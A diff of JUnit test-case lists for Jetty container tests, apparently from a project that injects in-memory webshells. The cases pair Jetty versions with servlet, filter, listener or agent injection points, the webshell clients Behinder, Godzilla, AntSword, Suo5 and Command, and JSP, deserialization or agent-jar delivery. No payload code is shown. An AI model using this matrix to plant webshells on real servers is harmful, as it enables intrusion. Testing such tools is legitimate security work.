arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
|
||||
|
||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty11ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+18
-12
@@ -42,29 +42,35 @@ public class Jetty61ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
|
||||
+21
-13
@@ -43,32 +43,40 @@ public class Jetty76ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+20
-13
@@ -43,32 +43,39 @@ public class Jetty81ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+19
-12
@@ -44,29 +44,36 @@ public class Jetty92ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+19
-12
@@ -43,29 +43,36 @@ public class Jetty93ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+19
-12
@@ -43,29 +43,36 @@ public class Jetty94ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
